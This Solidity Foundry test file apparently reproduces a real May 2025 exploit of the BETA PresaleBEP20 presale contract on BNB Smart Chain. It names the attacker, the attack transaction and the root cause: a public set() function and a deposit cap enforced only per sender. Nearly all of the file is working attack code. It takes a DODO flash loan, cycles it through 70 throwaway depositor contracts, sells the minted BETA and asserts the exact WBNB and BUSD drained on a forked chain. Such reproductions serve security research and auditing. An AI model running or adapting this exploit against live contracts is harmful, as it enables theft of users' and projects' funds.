src/test/2025-05/BetaPresale_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4import "../basetest.sol";
5 
6// @KeyInfo - Total Lost : 1.921686798824852706 WBNB and 46.474821659738262175 BUSD
7// Attacker : 0xc49f2938327aA2cDc3F2f89Ed17B54b3671F05dE
8// Attack Contract : 0x627ba7A2b5c07546D38614315CE85f28B332d79c
9// Vulnerable Contract : 0x760C2aAa22220f24B9343b2a91A62dD664953853
10// Attack Tx : https://bscscan.com/tx/0x47670c20325924e89aa87fcdd41df88c21246bd972056736e7964799831abf12
11//
12// @Info
13// Vulnerable Contract Code : https://bscscan.com/address/0x760C2aAa22220f24B9343b2a91A62dD664953853#code
14//
15// @Analysis
16// Twitter Guy : https://t.me/defimon_alerts/1092
17//
18// Attack summary: The attacker redirected the presale withdrawal address to its helper, recycled a
19// 100 WBNB flash loan through 70 fresh depositor contracts, sold the minted BETA, and repaid DODO.
20// Root cause: PresaleBEP20.set(address) is public and deposit() enforces its 100 BNB maximum only
21// per msg.sender while immediately forwarding deposited BNB to the mutable withdrawAddress.
22 
23address constant ATTACKER = 0xc49F2938327aa2cDc3F2f89Ed17b54B3671F05DE;
24address constant TRACE_ATTACK_CONTRACT = 0x627BA7A2b5c07546d38614315Ce85F28b332d79C;
25address constant TRACE_HELPER = 0xC8A060Bb258dc126a253519a35484c966B8632e8;
26address constant PRESALE = 0x760c2aAA22220f24b9343b2A91a62dd664953853;
27address constant BETA = 0x2410F2372E8A3C77fbD5D61B88714d14582F37Db;
28address constant BETA_BUSD_PAIR = 0x0096F850E13E2d9127Fe0fb5523965cADD27ffc7;
29address constant BETA_WBNB_PAIR = 0xb238A09D9eC8c15C1441aEE4A5af02A166291076;
30address constant DODO_POOL = 0x6098A5638d8D7e9Ed2f952d35B2b67c34EC6B476;
31address constant WBNB_TOKEN = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;
32address constant BUSD_TOKEN = 0xe9e7CEA3DedcA5984780Bafc599bD69ADd087D56;
33uint256 constant FLASH_LOAN_AMOUNT = 100 ether;
34uint256 constant CHILD_DEPOSITS = 70;
35uint256 constant FIRST_BETA_SALE = 7000 ether;
36 
37interface ITokenLike {
38    function balanceOf(
39        address account
40    ) external view returns (uint256);
41    function transfer(
42        address recipient,
43        uint256 amount
44    ) external returns (bool);
45}
46 
47interface IWBNBLike is ITokenLike {
48    function deposit() external payable;
49    function withdraw(
50        uint256 amount
51    ) external;
52}
53 
54interface IPresaleBEP20 {
55    function set(
56        address payable withdrawAddress
57    ) external;
58    function deposit() external payable;
59}
60 
61interface IPancakePairLike {
62    function token0() external view returns (address);
63    function token1() external view returns (address);
64    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
65    function swap(
66        uint256 amount0Out,
67        uint256 amount1Out,
68        address to,
69        bytes calldata data
70    ) external;
71}
72 
73interface IDPPFlashLoan {
74    function flashLoan(
75        uint256 baseAmount,
76        uint256 quoteAmount,
77        address assetTo,
78        bytes calldata data
79    ) external;
80}
81 
82contract ContractTest is BaseTestWithBalanceLog {
83    address private profitReceiver;
84 
85    function setUp() public {
86        vm.createSelectFork("bsc", 49_951_833);
87 
88        profitReceiver = makeAddr("profitReceiver");
89        fundingToken = WBNB_TOKEN;
90        attacker = profitReceiver;
91 
92        vm.label(ATTACKER, "Attacker EOA");
93        vm.label(TRACE_ATTACK_CONTRACT, "Trace Attack Contract");
94        vm.label(TRACE_HELPER, "Trace Helper");
95        vm.label(PRESALE, "PresaleBEP20");
96        vm.label(BETA, "BETA");
97        vm.label(BETA_BUSD_PAIR, "BETA/BUSD Pair");
98        vm.label(BETA_WBNB_PAIR, "BETA/WBNB Pair");
99        vm.label(DODO_POOL, "DODO Pool");
100        vm.label(WBNB_TOKEN, "WBNB");
101        vm.label(BUSD_TOKEN, "BUSD");
102    }
103 
104    function testExploit() public balanceLog {
105        assertEq(IPancakePairLike(BETA_BUSD_PAIR).token0(), BETA);
106        assertEq(IPancakePairLike(BETA_BUSD_PAIR).token1(), BUSD_TOKEN);
107        assertEq(IPancakePairLike(BETA_WBNB_PAIR).token0(), BETA);
108        assertEq(IPancakePairLike(BETA_WBNB_PAIR).token1(), WBNB_TOKEN);
109 
110        uint256 wbnbBefore = ITokenLike(WBNB_TOKEN).balanceOf(profitReceiver);
111        uint256 busdBefore = ITokenLike(BUSD_TOKEN).balanceOf(profitReceiver);
112 
113        new BetaPresaleAttack(profitReceiver);
114 
115        assertEq(ITokenLike(WBNB_TOKEN).balanceOf(profitReceiver) - wbnbBefore, 1_921_686_798_824_852_706);
116        assertEq(ITokenLike(BUSD_TOKEN).balanceOf(profitReceiver) - busdBefore, 46_474_821_659_738_262_175);
117        assertEq(ITokenLike(WBNB_TOKEN).balanceOf(DODO_POOL), 261_758_849_579_073_468_662);
118    }
119}
120 
121contract BetaPresaleAttack {
122    constructor(
123        address _profitReceiver
124    ) {
125        BetaPresaleFlashBorrower borrower = new BetaPresaleFlashBorrower(_profitReceiver);
126        borrower.execute();
127    }
128}
129 
130contract BetaPresaleFlashBorrower {
131    address private immutable profitReceiver;
132 
133    constructor(
134        address _profitReceiver
135    ) {
136        profitReceiver = _profitReceiver;
137    }
138 
139    function execute() external {
140        IDPPFlashLoan(DODO_POOL).flashLoan(FLASH_LOAN_AMOUNT, 0, address(this), abi.encode(uint256(1)));
141    }
142 
143    receive() external payable {}
144 
145    function DPPFlashLoanCall(
146        address,
147        uint256 baseAmount,
148        uint256,
149        bytes calldata
150    ) external {
151        require(msg.sender == DODO_POOL, "not DODO");
152        require(baseAmount == FLASH_LOAN_AMOUNT, "unexpected loan");
153 
154        IWBNBLike(WBNB_TOKEN).withdraw(baseAmount);
155 
156        for (uint256 i = 0; i < CHILD_DEPOSITS; ++i) {
157            BetaDepositCycler cycler = new BetaDepositCycler();
158            cycler.depositAndSweep{value: FLASH_LOAN_AMOUNT}(payable(address(this)));
159        }
160 
161        _swapBetaForBusd(FIRST_BETA_SALE);
162        _swapBetaForWbnb(ITokenLike(BETA).balanceOf(address(this)));
163 
164        require(address(this).balance >= FLASH_LOAN_AMOUNT, "BNB was not recycled");
165        IWBNBLike(WBNB_TOKEN).deposit{value: FLASH_LOAN_AMOUNT}();
166        require(ITokenLike(WBNB_TOKEN).transfer(DODO_POOL, FLASH_LOAN_AMOUNT), "flash repay failed");
167    }
168 
169    function _swapBetaForBusd(
170        uint256 betaAmount
171    ) private {
172        IPancakePairLike pair = IPancakePairLike(BETA_BUSD_PAIR);
173        (uint112 reserveBeta, uint112 reserveBusd,) = pair.getReserves();
174        uint256 busdOut = _amountOut(betaAmount, reserveBeta, reserveBusd);
175 
176        require(ITokenLike(BETA).transfer(BETA_BUSD_PAIR, betaAmount), "BETA transfer to BUSD pair failed");
177        pair.swap(0, busdOut, profitReceiver, "");
178    }
179 
180    function _swapBetaForWbnb(
181        uint256 betaAmount
182    ) private {
183        IPancakePairLike pair = IPancakePairLike(BETA_WBNB_PAIR);
184        (uint112 reserveBeta, uint112 reserveWbnb,) = pair.getReserves();
185        uint256 wbnbOut = _amountOut(betaAmount, reserveBeta, reserveWbnb);
186 
187        require(ITokenLike(BETA).transfer(BETA_WBNB_PAIR, betaAmount), "BETA transfer to WBNB pair failed");
188        pair.swap(0, wbnbOut, profitReceiver, "");
189    }
190 
191    function _amountOut(
192        uint256 amountIn,
193        uint256 reserveIn,
194        uint256 reserveOut
195    ) private pure returns (uint256) {
196        uint256 amountInWithFee = amountIn * 998;
197        return amountInWithFee * reserveOut / (reserveIn * 1000 + amountInWithFee);
198    }
199}
200 
201contract BetaDepositCycler {
202    function depositAndSweep(
203        address payable withdrawReceiver
204    ) external payable {
205        IPresaleBEP20(PRESALE).set(withdrawReceiver);
206        IPresaleBEP20(PRESALE).deposit{value: msg.value}();
207 
208        uint256 betaBalance = ITokenLike(BETA).balanceOf(address(this));
209        require(ITokenLike(BETA).transfer(withdrawReceiver, betaBalance), "BETA sweep failed");
210    }
211}